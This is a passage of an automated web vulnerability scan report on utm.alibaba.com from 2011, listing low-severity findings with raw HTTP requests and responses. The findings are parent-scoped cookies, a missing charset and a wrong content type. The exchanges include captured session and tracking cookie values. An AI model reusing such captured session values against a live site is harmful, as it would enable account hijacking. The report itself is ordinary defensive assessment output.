Cookie: ali_apache_id=50.23.123.106.26102436468476.7; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_beacon_id=50.23.123.106.1313436470855.3; __utma=226363722.1980904589.1313436527.1313436527.1313436527.1; __utmb=226363722.1.10.1313436527; __utmc=226363722; __utmz=226363722.1313436527.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); JSESSIONID=3B76C4C90B193FF6D84C450F72FAFD25; intl_common_temp=vTUgXbJFf/o09W1JYj0bAoCephe1ofzR3WcezLQlLnv5LSFD4s3P3iPK8kZq5Zq+lhRYk+3pMcE=; uns_unc_f=intlbt_p4p_e_f=39; history=category%5E%0A100003868%09Bearing%20Accessory%09http%3A//www.alibaba.com/Bearing-Accessory_pid100003868; ali_apache_sid=50.23.123.106.26102436468476.7|1313438325; intl_acs_temp=+2MJwPV5hcBSEyukkl8egeJRRIynxeyylLhu2o3kK2j5/rvTiVQqA89t9z+1sM/5onUk1bb1cE6zbM9OxnfNc2aYEg2CUHl2JLiXHw7X0rv4tF0puEK8cA==; ali_apache_track=; ali_apache_tracktmp=

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:29:48 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 2484
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438388; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438388; path=/; domain=.alibaba.com
Set-Cookie: intl_acs_temp=QlZ+msh0TXHn457l5hmHIEbWJLZwxf699i34OJNDX4kUyQk2xD11hRcqCc9ddSrm+GQw3OSY9g8hIDmPdUlncD8DVyGY5RNoZTCwilS99YTPu71gSYN8og==; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:16:27 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_4 = {
   uJson : [{"categoryId":"41","imageUrl":"http://img.alibaba.com/images/cms/upload/suppliers_customized_souring/hot_products_20110701/mechanical_parts1.jpg","fixed":false,"ima
...[SNIP]...

3.2. http://utm.alibaba.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /favicon.ico

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /favicon.ico HTTP/1.1
Host: utm.alibaba.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438443

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Aug 2011 19:32:05 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Set-Cookie: ali_apache_id=50.23.123.106.74091636725919.5; path=/; domain=.alibaba.com; expires=Wed, 30-Nov-2084 01:01:01 GMT
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438525; path=/; domain=.alibaba.com
Last-Modified: Fri, 08 Jul 2011 05:04:29 GMT
ETag: "341fb-6-4a787c4adf140;4a787c4adf140"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 6
Content-Type: text/html

Error!

3.3. http://utm.alibaba.com/todaynew/latestBuyOffer.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /todaynew/latestBuyOffer.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /todaynew/latestBuyOffer.js?memberId=&cookieId=&tn=&encrypt=y&valueName=utmReturnValue_1&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:28:46%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; ali_apache_sid=50.23.123.106.26102436468476.7|1313438268; intl_acs_temp=YEhXqLKBgl02jic9ohij4g5EUvpNRybd7A/Av8RrODohlEtcdKA/PoS8JiQHi42Hx2FMdop/ZeU=; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_apache_track=; ali_apache_tracktmp=; ali_beacon_id=50.23.123.106.1313436470855.3

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:27:52 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 43
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: JSESSIONID=3D5ED25D72E6E49A10800B8512E59B7A; Path=/
Set-Cookie: intl_acs_temp=Hj53bivtgC/chp5ouTIpqmX9I3SdnqVdNj+AkEd/24+iBQvc+4aoQsQhMyRtviVryCR5KgEu38k=; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:14:31 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_1 = {
   uHtml : ''
};

3.4. http://utm.alibaba.com/todaynew/latestProduct.js  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /todaynew/latestProduct.js

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /todaynew/latestProduct.js?memberId=&cookieId=&tn=&encrypt=y&valueName=utmReturnValue_2&source=aisn&todaysNewHomeVersion=&date=Mon%20Aug%2015%202011%2014:28:46%20GMT-0500%20(Central%20Daylight%20Time)&country=US HTTP/1.1
Host: utm.alibaba.com
Proxy-Connection: keep-alive
Referer: http://www.alibaba.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ali_apache_id=50.23.123.106.26102436468476.7; ali_apache_sid=50.23.123.106.26102436468476.7|1313438268; intl_acs_temp=YEhXqLKBgl02jic9ohij4g5EUvpNRybd7A/Av8RrODohlEtcdKA/PoS8JiQHi42Hx2FMdop/ZeU=; intl_common_forever=DRTcMjoUl9hpzdAN14CzRtd5GslSd9Ao1K7NwRRR6U/PtYpSAdhjVRt+mIFSwsz4aH5epsbdK6Rch4BbLSi0Vg==; ali_apache_track=; ali_apache_tracktmp=; ali_beacon_id=50.23.123.106.1313436470855.3

Response

HTTP/1.1 200 OK
Date: Mon, 15 Aug 2011 19:27:52 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Content-Language: en-US
Vary: Accept-Encoding,User-Agent
Content-Length: 43
Content-Type: application/json;charset=UTF-8
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438272; path=/; domain=.alibaba.com
Set-Cookie: JSESSIONID=3B76C4C90B193FF6D84C450F72FAFD25; Path=/
Set-Cookie: intl_acs_temp=vOeBVAqlqmHl6vy7Nqe6LZsbDTPo+/c//Sc47+l5TiBl7YnF4ew5kXuuxxrF9nFCSjE4wDVym2g=; Domain=.alibaba.com; Path=/
Set-Cookie: ali_apache_track=; Domain=alibaba.com; Expires=Thu, 16-Oct-2014 05:14:31 GMT; Path=/
Set-Cookie: ali_apache_tracktmp=; Domain=alibaba.com; Path=/

var utmReturnValue_2 = {
   uHtml : ''
};

4. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://utm.alibaba.com
Path:   /favicon.ico

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /favicon.ico HTTP/1.1
Host: utm.alibaba.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438443

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Aug 2011 19:32:05 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Set-Cookie: ali_apache_id=50.23.123.106.74091636725919.5; path=/; domain=.alibaba.com; expires=Wed, 30-Nov-2084 01:01:01 GMT
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438525; path=/; domain=.alibaba.com
Last-Modified: Fri, 08 Jul 2011 05:04:29 GMT
ETag: "341fb-6-4a787c4adf140;4a787c4adf140"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 6
Content-Type: text/html

Error!

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://utm.alibaba.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: utm.alibaba.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438443

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Aug 2011 19:32:05 GMT
Server: Apache/2.2.15 (Unix) mod_AliCookie(for apache2.x)/1.1 Beacon/3.2 mod_jk/1.2.28
Set-Cookie: ali_apache_id=50.23.123.106.74091636725919.5; path=/; domain=.alibaba.com; expires=Wed, 30-Nov-2084 01:01:01 GMT
Set-Cookie: ali_apache_sid=50.23.123.106.26102436468476.7|1313438525; path=/; domain=.alibaba.com
Last-Modified: Fri, 08 Jul 2011 05:04:29 GMT
ETag: "341fb-6-4a787c4adf140;4a787c4adf140"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Length: 6
Content-Type: text/html

Error!

Report generated by XSS.CX at Mon Aug 15 13:34:57 GMT-06:00 2011.